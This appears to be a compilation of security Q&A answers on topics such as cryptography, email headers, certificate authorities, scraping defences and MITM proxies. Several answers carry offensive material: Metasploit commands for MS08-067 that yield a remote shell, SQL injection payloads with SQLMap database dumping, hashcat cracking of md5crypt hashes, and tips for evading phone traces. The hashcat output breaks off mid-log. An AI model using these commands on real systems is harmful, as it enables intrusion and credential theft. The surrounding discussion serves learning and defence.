Need a time consuming symmetric encryption

You can basically choose decryption time by jacking up the key length - have a look at http://www.javamex.com/tutorials/cryptography/rsa_key_length.shtml.

The only thing is though that encrypting with the longer key also takes significant time (though, exponentially less than decryption); so you're probably going to hit an upper bound where you're not willing to spend a month encrypting millions of rows.

Symmetric encryption tends to be fast, much faster than asymmetric, and tends toward algorithms where decryption and encryption times are very similar (since you're basically doing the exact same math backward). In a case where you can choose and you want slow, go with something like RSA.


So if you were just looking at HTTP traffic, I'd have suggested that you'd just want a reverse proxy like mod_rewrite, but if it's arbitrary traffic that makes it a bit more difficult.

Assuming you've written the logic for handling re-writing, putting it in place would likely be done in one of two ways.

If you can specify the destination in the original program, you would specify the destination as the proxy (e.g. point it to 127.0.0.1 [proxy_port]). then configure the proxy program to communicate to the original destination.
If the destination is hard-coded/you can't modify you would usually have to use an OS level solution like iptables to redirect the traffic to your proxy (then as before the proxy would need to know how to get to the original destination)

As to frameworks for this kind of MITM, I'm not aware of any but not really my field so they may well exist..


How to act on company-wide malware infestation

Two things come to mind.

Isolate as much of your network as you can into zones and tackle each zone on its own. Set up firewall rules to prevent any incoming connections to any device that is not expecting it. Start with the machines that contain your most precious info.

And by "handle it", I mean nuke each machine and rebuild from known good backups.

Get help. You might need to pay for extra hands.


Are emails from the Necurs bot net DKIM and/or SPF signed?

As far as I know necurs spam is spoofed and/or sent from infected machines acting as MTAs.

Other bot nets however obtain valid credentials which they then use for sending emails via the respective MTA which might - or might not - are DKIM signed and/or SPF controlled.


What is the difference between X-Received and Received in email-header?

Received is a header defined in the standard while X-Received is a non-standard header added by some user-agents or mail transfer agent like the google mail SMTP server.

  Also how to calculate delay between sent and received?

Look at the time stamps in the Received and Date headers, but at least some of them can be spoofed (to give the answer at least some relation to security, i.e. the topic of this site). You'll often find the Date header spoofed in spam mails so that they get a better place in the inbox.


Microsoft Security Baseline Analyzer and Security Compliance Manager are Microsoft's tools for this.

SCM is likely the one you are looking for...


Why are SWAP partitions good for security?

It improves the availability of the system, which is also an important part of information security.

E.g. if there's a DoS attack on a memory intensive service, the box is less likely/takes longer to crash.


Can Google's administrators be trusted with Google Authenticator?

Could someone with unfettered access to Google's systems and malicious intent compromise non-Google accounts via Google Authenticator alone? No.

Could they compromise non-Google accounts via several other Google services which someone using Google authenticator is likely to also use? Probably.

Firstly, Google authenticator is used to implement multi-factor authentication. The whole point of this is that if one method of authentication is compromised then the other authentication method should prevent the attacker from gaining access. Furthermore these authentication methods are typically designed to be isolated, so someone who is able to compromise something you know (eg. a password) should not also be able to compromise something you have (eg. a physical device) at the same time. Even if Google authenticator was compromised an attacker would not necessarily also have the password.

Secondly, Google authenticator implements TOTP. The secret is communicated only between the service requiring authentication and your device, so unless Google is the service then there is no need for the secret to be communicated to Google.

Now of course the assumption that the secret won't be communicated to Google is dependent upon the integrity of the client. It is possible that the App you have installed has been compromised to capture the secret and send it to the attacker. Google Authenticator is open source, therefore you could theoretically verify that the code does what it should then compile it yourself. In reality if an attacker has the ability to arbitrarily compromise software on your device then they could probably compromise any form of 2FA involving the device (for example SMS) and Google Authenticator would not pose an additional risk.

Aside from this, if someone at Google wanted to attack you there are probably more effective avenues which don't involve Google Authenticator. For example given that the Play Store on an Android device is signed by the same certificate as the system it can access permissions to install software without your explicit permission. If you used gmail they could also most likely access non-Google accounts by resetting passwords.

TLDR; An attacker with unlimited access to Google's systems would almost certainly be a threat to non-Google accounts, but not because of Authenticator.


What cryptographic flaw was exploited by Flame, to get its code signed by Microsoft?

Update: Microsoft published a report which confirms the guesses in this posting and gives a great level of details.

Certificate Purpose

There are multiple purposes a certificate may be used for. For example it may be used as a proof of identity of a person or webserver. It may be used for code sining or to sign other certificates.

In this case a certificate that was intended to sign license information was able to sign code.

It might be as simple as Microsoft not checking the purpose-flag of customer certificates they signed:

  Specifically, when an enterprise customer requests a Terminal Services activation license, the certificate issued by Microsoft in response to the request allows code signing.

MD5 collision attack

The reference to an old algorithm might indicate a collision attack on the signing process: There was a talk at CCC 2008 called MD5 considered harmful today - Creating a rogue CA Certificate

Website
Slides
Video

In that talk the researches explained how to generate two certificates with the same hash.

The generated a harmless looking certification request and submitted it to a CA. The CA signed it and generated the valid certificate for https-servers.

But this certificate had the same hash as another generated certificate which had the purpose CA-certificate. So the CA signature of the harmless certificate was valid for the dangerous one as well.

The researches exploited a weakness in MD5 to generate collisions. In order for the attack to work, they had to predict the information the CA would write into the certificate.

Lessons learned?

Microsoft already checks that the root of code signing certificates for Windows Update is a Microsoft CA. So certificates signed by other rouge CAs cannot be used.
Don't forget legacy code and services
If there is enough motivation even impractical theoretical weaknesses, will be exploited. (The original title of the talk was "Doing the theoretical possible").

Update

Microsoft has confirmed both issues (one issue alone is sufficient for an exploit):

  The Flame malware used a cryptographic collision attack in combination with the terminal server licensing service certificates to sign code as if it came from Microsoft. However, code-signing without performing a collision is also possible.

Update 2

Microsoft published the details:

The vulnerability of not checking the certificate purpose properly only effects old versions of Windows.
The collision attack was used manipulate the certificate extensions, so that current versions of Windows are fooled as well.

Update 3

The researchers of the original md5 collision attack published that the attackers used a new variant of the known md5 chosen prefix attack, which implies that they have very deep knowledge about cryptography.


What are the technical aspects to tracing a phone call; is it more difficult for mobile phone?

In the old days, signaling was inline, hence the 2600hz hack. Calls were setup as one switch talked to another, then another, and so on until a circuit was established end-to-end. In the modern age, everything is out-of-band over SS7 and every switch is lined up at the same time. The calling station is identified at the start and no tracing is really necessary.

Mobile phones do take more effort because a mobile number isn't attached to a given switch. Thus, while the far end knows what the number is, where it is involves extra technology. The cellular phone company can identify what towers the phone is associated with and thus instantly know the region it is in. Further narrowing can be done based on signal strength comparisons, which of the tower's directional antennas are holding the signal, and GPS chips in phones.

  Is it more difficult if the phone is on, but not actively being used to call?

Only a custom phone would act in a way where it didn't respond to the tower asking a question, so generally no.

  Why are the tools necessary to trace phone calls not available to the general public? We have traceroute to find routing information for IPs -- why not phones? Is it a question of specialized equipment, access to telecomm systems, etc. or more social?

Social legacy and equipment access. The Internet doesn't have a separate signaling band and is based on the idea of independent operators controlling where their traffic goes. The phone company is based on the legacy of one company running the show. Switch access in the phone world is internal only to the phone company or whoever they want to specifically include. The Internet, on the other hand, doesn't really have a way of considering nodes special since everything is in the same band.

  How does one prevent a (mobile) phone from being traced?

Nothing will save you from being traced down to the tower you're using, but you can really screw around with the triangulation metrics by using a directional antenna and some weak false associations or intermediary transmission layer such a radio that links you to your phone. In that case, finding your phone would leave the person chasing you still lacking a physical connection and having to trace something else. Done right, you can turn the default, "Within 100 feet," into, "Somewhere in this 20 square mile cone." That is a big time, knowledge, and equipment cost commitment, though.

You may also find some success in delaying tracing by using intermediate PBX systems to mask the actual caller. If you have dial-in access to a company's PBX, the trace will stop there and somebody will have to look at logs of associated calls into the system to try and correlate the responsible line. Nest a few of those and you may buy some time. You'll probably still eventually be traced no matter how short the call was, but it will no longer be instant.


How to stop Forced browsing ? - Saving information from being compromised by url change

From the description you have mentioned it seems that you are talking about a security vulnerability which is popularly know as Insecure Direct Object Reference.

To mitigate this kind of issue, you should Check for the user whether he have access to particular resource or not. Base64 encoding the URL will not work in this.

I would to recommend you to go through this blog post: OWASP Top 10 for .NET developers part 4: Insecure direct object reference, which is written by Troy Hunt.

I hope this will help you to secure your apps.


How to Cryptographically verify a request comes from a trusted server

Your central server generates a public/private key pair.  The public key is distributed to all the listening servers, the private key is kept, um, private.

Any command send by the central server is signed with its private key.  The first thing the listening server does when it receives a command is verify the signature (using the public key).  If the verification fails, write to the error log, and ignore the command.


Is single iteration SHA-256 safe enough for hashing 128bit random number API keys?

You are correct in saying that the size and randomness of an API key negates the use of a password hashing function. 128 bits generated by a CSPRNG should be fine to store with a single SHA-256 hash.

The biggest problem with API keys is different from passwords since they are not reused across sites and cannot easily be brute forced. Usually the biggest problem is leaking the keys from the client applications themselves (or the protocol).

Here are a number of things to watch out for, only the 2nd relates to the key size:

show the key only once at generation time (easy, you've already decided you're not storing it in plaintext)
have a way for users to identify API keys. This could be by showing the first (or last) X characters. This means you need to store these X characters and might want to consider those visible bits as "known" by an attacker
have various scopes (permissions) you can attach to an API key to limit the damage of one key being leaked. Discourage (or disallow) the use of "do everything" scopes
rate limit requests using the same key and attempt to rate-limit wrong key uses by IP address (that gets tricky but it's a reasonably easy step to take)
transmission of API keys is tricky with many options when going over https, choose carefully (and of course TLS is required)

PS: with all that said, you can easily go with 256 bit keys and a more compact encoding than hexadecimal if you're concerned about length. eg: 256 bits in base64 is 43 characters.


Reasonable source of old proof-of-concept attacks

Take a look at http://exploit-db.com it has lots of exploit codez


What does this opcode in my exploit code mean?

You opcodes disassamble version can be seen below. You can use https://defuse.ca/online-x86-assembler.htm

0:  e9 cb fe ff ff          jmp    0xfffffed0
5:  cc                      int3

As you know JMP will define next ID (which will be 0xfffffed0). I believe your payload need to be at that id or this need to be a starting id of pop-pop-ret. The "cc" (int3) is the interrupt command, this will pause the execution and will wait for "continue" call, you can think like it is a debugger instruction. If you are just trying to develop your code, at disassembler hit to resume button. If you are gonna use this at the target, you have to remove int3 command (you can replace with null-byte).

I hope this can help.

PS. I did not read tutorial or the all shellcode, just tried to explain the opcode you asked. If you need any further explanation please let me know.


What are the consequences of allocating and then populating an extremely large buffer in C?

If a process grows excessively large in virtual memory it can result in thrashing.

  Can a stack have a maximum size and if so what are the security mechanisms that enforce this.

This question has been asked and answered here: how does the linux kernel enforce stack size limits?

Related: Linux Stack Sizes

From the getrlimit and setrlimit man page:

  RLIMIT_STACK

  This is the maximum size of the process stack, in bytes.  Upon reaching this limit, a SIGSEGV signal is generated. To handle this signal, a process must employ an alternate signal stack (sigaltstack(2)).

  Since Linux 2.6.23, this limit also determines the amount of space used for the process's command-line arguments and environment variables; for details, see execve(2).

The limits such as RLIMIT_STACK are enforced by the kernel:

  DESCRIPTION

  The getrlimit() and setrlimit() system calls get and set resource
  limits respectively.  Each resource has an associated soft and hard
  limit, as defined by the rlimit structure:

       struct rlimit {
           rlim_t rlim_cur;  /* Soft limit */
           rlim_t rlim_max;  /* Hard limit (ceiling for rlim_cur) */
       };

  The soft limit is the value that the kernel enforces for the corresponding resource.  The hard limit acts as a ceiling for the
  soft limit: an unprivileged process may set only its soft limit to a
  value in the range from 0 up to the hard limit, and (irreversibly)
  lower its hard limit.  A privileged process (under Linux: one with
  the CAP_SYS_RESOURCE capability) may make arbitrary changes to either
  limit value.

  The value RLIM_INFINITY denotes no limit on a resource (both in the
  structure returned by getrlimit() and in the structure passed to
  setrlimit()).


Increase security without using "dynamic" kernel modules?

NOT using loadable kernel modules could increase security.

Yes, the theory is as follows:

Attackers want to co-opt the kernel; that gives them more power and better ability to hide
Dynamic kernels allow malicious modules to be inserted, a handy interface for the attacker to co-opt the kernel
If the kernel is statically compiled, the attacker can't use this attack vector

There are several trade-offs which make this less than attractive in practice:

Dynamic kernels have introduced incredible flexibility, and there is no better way to learn that than to try and pin down the statically compiled kernel configuration that will actually run and do what you need.  It's a big trial-and-error process.
Static kernels are not immune to having malicious code injected into them, so disabling the dynamic load capability does not completely erase the attack vector.

I think that compiling static kernels for security's sake was an idea that had its time, but its time has passed, and it's no longer a cost effective security choice for most environments.


What is the benefit of having a cryptographically secure hash algorithm in hashmaps?

Sometimes applications use untrusted data as the key in a hash map. A simple implementation can allow the untrusted data to cause a denial of service attack.

Hash maps are fast - O(1) - in the best case, but slow - O(n) - in the worst case. This is because keys are normally in separate buckets, but some values can result in the same hash - a collision - which are handled by a slower linked list. With random data, collisions will be uncommon. However, some implementation have a vulnerability where malicious data can cause many collisions, which makes the hash map slow. Some years ago there was a Linux kernel DoS due to this.

The root cause of the Linux vulnerability was that hashing was predictable. It was fixed by introducing a key into the hash function that a remote user would not know. I don't know exactly how Rust hash maps work, but I expect they use a similar kind of keyed hash.

You should opt for a more secure hash any time you're using untrusted data as a key.


What standard alternative to ISO 27001 can be used for a small business?

"OK, we can't achieve this standard, so let's look for a standard that we can achieve without much work"

is pretty much the opposite of a security-aware organization's mindset, though I'd agree (after 5 min of lecture) with the presumption that 27001 might be a bit much work – but then you'll have to just live without that certification.

Instead of trying to find an arbitrary certification that fits your organization, you might simply want to look into the standard and apply as much as possible to the 5-person-organization. A certification is worth nothing, to be honest, from a security perspective, but will cost you a lot of money. Actually adhering to sensible practices practically pays for itself.


HTTP header error message looks wired. Is this a buffer overflow attack?

This use of null bytes is consitant with the Jetty Bleed attack.  This attack discloses server memory, which contain's the HTTP reqeusts from other users (similar to hearbleed).  This means that any passwords or secrets sent to this server maybe compromised.

Like any system, make sure you update.


Why is an XSS payload in the address bar executed?

The address bar doesn't do anything. It's the web application which appearently takes the URL and inserts it right into the HTML markup, leading to a cross-site scripting vulnerability.

This happens either server-side or client-side: Either the PHP script delivers the page with the URL already in it, or there's a piece of JavaScript code which injects the URL after your browser has received the HTML document.


How to implement non-password authentication in a web site

In almost any case where you click on "remember me", this is already happening on your computer. A random string of characters is stored in a cookie and linked to your account. The reason why more than this is required has to do with mobility. If you change computers, how do you log back in without the standard username / password? Users simply don't take their cookies with them.

In the case of the email suggestion, you could send a random code that can be entered into a form field, or even clicked as a link. For some marginal level of increased security, I would expire those click links after a time and store a different random code as the cookie.


What kind of monitoring system can we have for existing security systems in the vehicles?

The security system on the vehicles would need some kind of an interface to allow access to the data from multiple sources.

Or, the third party system would have to be the approved recipient (customer?) of each of the vehicle's security system, and the third party would have to gather and report on all the data.

Short answer: API or hand-made aggregation.


Is it safe to use 2 password derivation functions to one password?

If you use multiple password hashing algorithms independent of each other to process the same password, then passwords are protected only as well as the weakest algorithm protects them. PBKDF2 is easier to crack than Argon2. An attacker with only a few bytes of ciphertext can then bruteforce passwords, attacking just PBKDF2 and bypassing Argon2.

If you process them sequentially, as in Argon2(PBKDF2(pwd)) or PBKDF2(Argon2(pwd)) then that's not the problem anymore. (As long as you don't use the intermediate hash output for anything else.)

That's still a bad idea. Giving 100% of your CPU time to Argon2 is better than sharing time between the two. Instead of splitting time 50-50, you can use that 50% you're wasting on PBKDF2 to increase one of Argon2's cost parameter.

You could use that extra time to fill more RAM by increasing memory cost. That reduces an attacker's password hash rate by making the hashing harder to parallelize. Increasing the memory cost also increases run time of each Argon2 evaluation for the attacker, further reducing their hash rate.

Or you could use it to increase the time cost. That makes Argon2 do more passes over the memory allocated to it. This reduces an attackers hash rate because each evaluation takes longer. It also helps decrease the effectiveness of a time-memory-tradeoff attack if you're not already using several iterations. (Increasing the memory cost is preferable if you're already using at the recommended number of iterations.)

Argon2 can be used for key derivation just as well as user authentication. If for some reason you can't do that, then derive one master key using Argon2 and hold onto that key in RAM to use for deriving other keys. There are key-based KDFs as well as password-based KDFs. HKDF, for example.

Technically using PBKDF2 with c = 1 (one iteration) is okay to use as a key-based KDF. (Scrypt uses this technique.) There's no security issue if you're only giving 0.00000000000001% of your password-stretching budget to PBKDF.


Can you protect corporate email on personal phones without the option of wiping all personal data?

I believe that the company is entirely justified in it's approach.

If you want to avoid the risk of having your personal data wiped out, keep your personal and work data separate. Your company might consider deploying something similar to BlackBerry's Secure Work Space technology that claims to keep work data in a completely separate workspace. This should allow your organization to manage it's data in a secure fashion while still allowing employees to use the phone for both work and personal stuff.


C# .Net most secure way to store RSA Key Pair in Windows

The most secure way to store a private key is to generate it on a smart card or in an HSM. Is that an option?

The smart card or HSM can still be used to encrypt and decrypt by whoever has access, but it won't give up the key.

You can put the public key wherever you want.


SQL injecting a search form which uses boolean mode

I find that ' or 1=1-- is useful in less than 1% of sql injection that I come across,  this payload is commonly seen in SQL Injection examples because it is a very simple statement.  The problem that you are most likely experiencing is that your comment is incorrect. The -- needs to follow by a single space or it is not actually a comment, so ' or 1=1-- 1 is a comment that is compatible with many database types and it can survive a white-space trim.  There are plenty of other mysql comments to choose from.

A better SQL Injection test for a MySQL database would be: ' or sleep(10)/*.  If the page takes 10 second or more to load then its vulnerable, then follow up with ' or sleep(0)/* and it returns very quickly then you know it can be exploited with blind sql injection.

At this point I'm going to take that HTTP request and use SQLMap in wizard mode to exploit the vulnerability and dump the entire database.  SQLMap can also perform file-io under MySQL using load_file() and into outfile.  The interactive SQL shell mode is also very useful.  If you want to debug a SQL payload without using it on your target I suggest sqlfiddle.


You've kind of answered it in your question: HTTPS provides encryption, which prevents tampering with the request in a lot of cases, but doesn't prove anything about the identity of the person making the request in the first place (unless client certificate authentication is used, which isn't particularly common).

By getting the user to sign requests, they can be more confident that the user is who they claim to be (or, at least, someone who has stolen their secret key data).


Is forwarding a port(s) a security risk to all computers on the network or just one?

All computers.

Say whatever service is running on that port (e.g., web server, database server, etc) is found to be vulnerable to an attack that allows the attacker to execute any code of his choosing on the server (typically we call this a remote code execution attack). The attacker could leverage this to then begin attacking other computers on the network.

The safest thing to do would be to segment your network. If you have one server that needs to be accessed by the outside, put it in a DMZ. The rest of your network should go behind another firewall to protect them.


2 Step login: Memorable word reset via Email OR Security Questions?

First, I'd like to point out this is not considered a 2-step verification process because all of the components you suggest are "something you know."  In order to have 2-step verification, you must have "something you are" (e.g. biometrics) or "something you have" (e.g. a security key or Google Authenticator token).  See Wikipedia under "Components" for Two-Factor Authentication.

The only advantage to this process would be that if the user's email is compromised, this may prevent an attacker from being able to reset their password.  However, security questions are often predictable and one can research the target to find the answers; such as birthday's and mother's maiden names which are often matters of public record.

Thus, while it does have some minimal security advantages, a system like this shouldn't be construed to be "two factor authentication" and instead is just "additional security questions" of questionable value.  By allowing password resets based on security questions which may be researched by an attacker, you actually open up a separate attack vector/vulnerability as well.


What are the risks of a Certificate Authority hack for 'the average user'?

Concrete case of DigiNotar

For the concrete case that depends on how deep the vulnerability was:

If the attackers were only able to access a program (web frontend) that signs any SSL server certificate, then only those sites are affected. Proper logging mechanisms would allow them to produce a complete list of all affected domains.

If they got access to the private key or the program allowed to create certificate with the CA bit set, then the attacker can create certificates for any site.

General case

For the general case: Yes, the CA model in its current form depends on the trust of the weakest CA.

There are a number of CAs in the default list of the common browsers that are known to have issued bogus certificates for their respective governments in the past (most notable the BlackBerry Interception update in the United Arab Emirates) or got their lawful interception advertisement material leaked (most notable in the United States of America).

As far as I know DigiNotar is the only case in which a complete CA was removed from the browser list. In the other cases only the bogus server or software certificates have been revoked.

Jeff Ferland posted an excellent article on the security blog, A Risk-Based Look at Fixing the Certificate Authority Problem.

Other approaches

Convergence tries to mitigate the issue by recording server certificates from many different angles of the Internet. This assumes that the attacker is relatively close to the victim so that other notaries see the real certificate.

Instead of using a CA to sign server certificates, the certificates could be included in DNS, assuming that DNSSEC is widely adapted, which is not the case, yet.

Google hard codes the valid hashes into the source code of their Chrome browser calling it public key pinning. This approach obviously does not scale, they can only put a limited number high traffic sites in there.


Is there a drawback for local log in compared to server log in?

You need to clarify your question to get a more helpful response.

Here's the generic answer: storing authentication credentials on a device puts those credentials at risk of offline attack. If a device is responsible for saying it is authenticated, then the somebody may spoof it.

Credential caching is not without merit or precedent. Windows systems perform credential caching for network-disconnected logins.


Freaked out by "impossible click" in logs

It might be some security software on your system or in your network which inspects if the URL's you visit are harmful. They often do their visits from systems which are not obviously associated with security companies, since attackers often try to serve innocent content if they detect a bot from a security company. Thus, instead of trying to find any malware, try to disable all security software on your system or inside your network and see if the problem vanishes.


Your program might not be vulnerable because of some restrictions you have (maybe the variables cannot be changed by any user input), however I still think you are using prepared statements incorrectly.
Prepared (or parametrized) statements are meant to be used with "parameters" in order to be secure against SQL injection. In other words, the statement should be like a "template" with parameters. Then you will have to bind the variables to the parameters. See the examples at https://www.php.net/manual/en/pdo.prepare.php for example, where you will see that the parameters in the statement look like :param, and are not actual variables like $param. Using parameters in that way is the only way to achieve separation between code and data, so that SQL injection will be prevented.


Unicornscan is a tool known for high-speed scanning of large net blocks (e.g. last I observed was sustained 60+mbps internet-based scans).

Nmap in the past definitely had memory consumption issues w/large scans, but I haven't seen those issues in the 5.x/6.x versions when performing 65k ports scans over several /16s.

The memory problems I run into are typically due to ip_conntrack and below are a couple of recommended links to tweak kernel/ip_conntrack settings that can help nmap:

  ip_conntrack: maximum limit of XXX entries exceeded (I have experimented with values of 256k+ w/apparent success)
  (also check out Tuning Linux firewall connection tracker ip_conntrack)
  Disabling ip_conntrack to save memory, restore happiness


Use Metasploit to exploit SMB through Conficker

I've solved by varying the payload used by Metasploit.
In particular, using bind_tcp payload Meterpreter connections are not closed anymore after a few seconds, and I obtain a remote shell/command line.

use windows/smb/ms08_067_netapi
set PAYLOAD windows/shell/bind_tcp
set RHOST <vulnerable_win_xp_ip>
show targets
set TARGET <n>
run

In my case <n> = 2, but in general it depends from previous step.


Simple Mail Delivery Protocol (SMDP), where is it today? what do you think of it?

From the paper:

  ... we presented the principle of operation for our protocol. For the future we plan to develop the software to implement SMDP and operate and evaluate a
  pilot based on our design

Looks like none of this happened - or at least nothing can be found on the internet which suggests that nothing more than this purely conceptional paper was done. The authors likely moved on to other things. But when in doubt just contact the original authors.


Why does the finance industry uses 2TDEA instead of 3TDEA?

It seems to me like they do not see a need for it. It seems as if their idea is its not needed so let's not do it. The way they see it. If you are trying to keep people from opening a box and you shoot that box into space on a rocket does it matter if it lands on Mars or Pluto? While yes it's harder to reach Pluto and takes longer nobody on mars is opening your box anyway. Once people are able to reach mars maybe then they'll start thinking about Pluto but that's a bridge they'll cross when they come to it.

IMO: Banks don't like change. Updating takes time and money. More things the bank doesn't like to use. Any changes that doesn't bring profit are usually only done when they have to be. Also I'm not sure if this is the definate reason. If I am off I'll delete the answer.


regarding question 1:

You can setup most webservers as a reverse proxy(IIS, Apache, Nginx and even NodeJS all work). IIS and Nginx are preferable(but not necessary) as they are faster(just my opinion - this may not always be true).

Instructions for setting up IIS as a proxy can be found here

Instructions for setting up Nginx as reverse proxy

there are also ready made WAFs out there in the form of VMs which you can use. barracuda is one example(seems to use Nginx under the hood)

regarding Question 2:

you can do two things

make sure that the webservers only accepts connections from the public ip of your web proxy.
the webserver will only allow connections after validating the Client certificate of the proxy SaaS. requires TLS and also the web servers should implement client certificate verification.
use a Tunnel(VPN) between the webserver and the proxy and hide the webserver from the rest of internet

hope it helps.


How to find processes that are hidden from task manager

Sysinternals process explorer is your friend. This will show you more information than you're used to from Task Manager, including invisible tasks.


Can two different Root certificates have the same serial number?

From RFC 5280 section 4.1.2.2:

The serial number MUST be a positive integer assigned by the CA to
each certificate.  It MUST be unique for each certificate issued by a
given CA (i.e., the issuer name and serial number identify a unique
certificate).

Thus, the certificate must only be unique regarding the certificates issued by the same CA. Any requirement of being globally unique among all CA's in the world would also be kind of impossible to enforce since there would need to be some form of coordination among CA.


Best practices for generating and using random timed OTP

Your concern

When resetting a password it is a common practice to send a token to the user. The token being a long random string.
You do not necessarily need the email address in the reset-URL.

You could call the reset URL with this token and reset the password for the account to which the token belongs.

But see this: If you are using a "6 digit token", these are only 1 mio possibilities. Then an attacker could try all values and this way he would be able to reset several passwords. And if the response is, "your password for user@example.com has been reset", then the attacker would get several accounts with freshly resetted passwords.

Without ANY NEED to intercept any email.

basically for transactions

You may also take a look at the defaults, TOTP (RFC6238) and maybe OCRA (RFC6287).

OCRA also lets you generate the OTP value based on transaction data - like the money to be sent.


Uses of Threat Modeling outside of application development?

Social engineering is something operational security needs to address.  The model still applies, for example, spoofing identities can by done by finding a companies protocols, then impersonating a forgetful, new, or overworked coworker, just "trying to do your job", over the phone etc.


The origin is able to detect the server IP?

Unless the socks server explicitly provides information about it (like adding an X-Forwarded-For header) the website cannot detect the originating IP address (what you call "server").

  I don't have control over the agent (SOCKS5 server), how safe is this connection? The owner of the SOCKS5 server is able to see what I'm doing or even change the request like a MiTM attack?

SOCKS5 does not provide any security by itself. If this is a plain HTTP request the operator of the SOCKS5 server can see everything and even manipulate the request (like adding an X-Forwarded-For header). If this is instead HTTPS and you do not specifically import  a MITM CA as trusted nor ignore certificate errors, then the SOCKS operator cannot modify the traffic and can at most the the domain and IP you access and some traffic pattern.

  Something like this already exists?

Off-topic. But services like this exist already. Though note that it does not make it more legal if you use such a service (or use your own) to violate the terms of service for websites.


How can I prevent data scraping on my website?

You can't really prevent it if the data is publicly available.

But that doesn't mean that you have to make it extra easy to scrape the data either.

Preventing Enumeration

By exposing internal, ordered ids you make it extra easy to scrape all products.

If you changed it to either product name or a random id, an attacker couldn't retrieve all the data with a simple loop.

Throttling Requests

You could limit the amount of requests a user can make. This isn't all that easy though, because you can't really limit by IP address (you would restrict users using the same IP address , and attackers can just change their IP address). Here is a question about identifying users with some alternative ideas.

"Honeypot"

You could create fake products, which you never link to (or only in links hidden via CSS).

When someone views such a product, ban them.

Alternatively, you could add quite a lot of these products, and NOT ban a scraper, but just let them keep the wrong data, making their data less accurate (this may or may not make sense in your case).

Obscure Data

You could try to make it harder for a scraper to use your data. This may impact your users and may be quite a bit of work on your part (and as with all approaches, a determined attacker can still get the data):

Put part of the data in an image.
Change your HTML often (so an attacker has to change their HTML parser as well).
Mask/encrypt your data and use JavaScript to unmask/decrypt (change the method from time to time, so an attacker would need to change theirs as well).

Limit Access

You could put the content behind a login, and ban users that scrape data (probably not a good idea in your case, as you do want users that don't have an account to see products).

The Law

Everyone is free to scrape the data on your website (probably; it may depend on your jurisdiction). But re-publishing is likely in violation of the law, so you could sue them.


Telling the backend where to go from client side

I'm not sure I follow, but in any case, you need someway to authenticate they webapps.  The web app that is for "test" should never be able to send a code that it is asking for the "prod" data.
A safer way of doing this is to handle that mapping in the backend.  The webapps are registered with the backend and the backend knows where to send the queries based on the registration information.  This makes it hard to accidentally (or maliciously) query prod data from the test app.


Why is KRACK a protocol error and not implementation error?

It's considered a protocol error rather than an implementation error because the behavior that causes the problem is specifically required by the protocol.

How do you recover when the third step of the four-way handshake gets lost?  The standard specifies that it should be done by re-transmission of the packet in question.  A system that recovers by re-starting from the beginning would interoperate* with a system that expects recovery by re-transmission, but it wouldn't be compliant with the standard

* A system expecting a re-transmission of a missing packet is going to hold on to the resources for negotiating the connection.  If the other system recovers by re-starting, then in a noisy environment there will be many partially-built connections hanging around, with the consequent potential for resource starvation.


Why some sites are not shown when embedding them in an iframe?

Websites commonly use iframe breakers written in JavaScript or the X-Frame-Options header to prevent being iframed.

In the case of google.com, the latter is the case:

fabian ~% curl -I www.google.com | grep Frame
X-Frame-Options: SAMEORIGIN


Why the private key is not present for the certificate retrieved from the personal information exchange file?

The link from certificate to private key is not written in the certificate. It is an externally maintained properly. When you called CertCreateCertificateContext(), you just imported the certificate itself, not the link.

The link is a combination of two names (two strings): the name of the CSP, and the name of the key container within that CSP. When you called PFXImportCertStore(), Windows:

Imported the private key into a suitable CSP, with an appropriate container name.
Created a temporary certificate store.
Pushed the certificate into that store.
Added a link from that certificate in that store, to the private key as it was imported in the first step.

Your code pushed the certificate in the permanent store (your "My" store) but did not transport the link. You have to get the CSP and container names from the certificate in the temporary store, and set that information on the context returned by CertCreateCertificateContext(). This is done with CertGetCertificateContextProperty() and CertSetCertificateContextProperty(), using the CERT_KEY_PROV_INFO_PROP_ID  property. The relevant names (CSP and container name) and additional flags travel as a CRYPT_KEY_PROV_INFO structure.


Is there an industry-standard data container for asymmetric encryption / signing with secure algorithms?

RFC 5084 solves the issue of using AES in GCM mode within a CMS message. And the CMC specified by RFC 5652 does not restrict you from using any public key algorithm.


What version of your hashcat?

kali@kali:$ hashcat --version
v5.1.0
kali@kali:$

There are a few types of md5 supported by hashcat

kali@kali:$ hashcat -h | grep md5
     10 | md5($pass.$salt)                                 | Raw Hash, Salted and/or Iterated
     20 | md5($salt.$pass)                                 | Raw Hash, Salted and/or Iterated
     30 | md5(utf16le($pass).$salt)                        | Raw Hash, Salted and/or Iterated
     40 | md5($salt.utf16le($pass))                        | Raw Hash, Salted and/or Iterated
   3800 | md5($salt.$pass.$salt)                           | Raw Hash, Salted and/or Iterated
   3710 | md5($salt.md5($pass))                            | Raw Hash, Salted and/or Iterated
   4010 | md5($salt.md5($salt.$pass))                      | Raw Hash, Salted and/or Iterated
   4110 | md5($salt.md5($pass.$salt))                      | Raw Hash, Salted and/or Iterated
   2600 | md5(md5($pass))                                  | Raw Hash, Salted and/or Iterated
   3910 | md5(md5($pass).md5($salt))                       | Raw Hash, Salted and/or Iterated
   4300 | md5(strtoupper(md5($pass)))                      | Raw Hash, Salted and/or Iterated
   4400 | md5(sha1($pass))                                 | Raw Hash, Salted and/or Iterated
   4700 | sha1(md5($pass))                                 | Raw Hash, Salted and/or Iterated
   1600 | Apache $apr1$ MD5, md5apr1, MD5 (APR)            | HTTP, SMTP, LDAP Server
    500 | md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)        | Operating Systems
   6300 | AIX {smd5}                                       | Operating Systems
kali@kali:$

If you check your hash with hashid, you'll find out that this is actually MD5 Crypt

kali@kali:$ hashid '$1$FTpMLT88$VdzDQTTcksukSKMLRSVlc.'
Analyzing '$1$FTpMLT88$VdzDQTTcksukSKMLRSVlc.'
[+] MD5 Crypt
[+] Cisco-IOS(MD5)
[+] FreeBSD MD5
kali@kali:$

There is only 1 md5crypt, and the code number is 500

kali@kali:$ hashcat -h | grep md5.*cry
    500 | md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)        | Operating Systems
kali@kali:$

Try again with correct hash mode which is 500 for this case

Try again ... voilà

kali@kali:~$ hashcat -m 500 -a 0 md5crypt.txt rockyou.txt
hashcat (v4.0.1) starting...

* Device #1: WARNING! Kernel exec timeout is not disabled.
             This may cause "CL_OUT_OF_RESOURCES" or related errors.
             To disable the timeout, see: https://hashcat.net/q/timeoutpatch
nvmlDeviceGetFanSpeed(): Not Supported

OpenCL Platform #1: NVIDIA Corporation
======================================

Hashes: 3 digests; 3 unique digests, 3 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
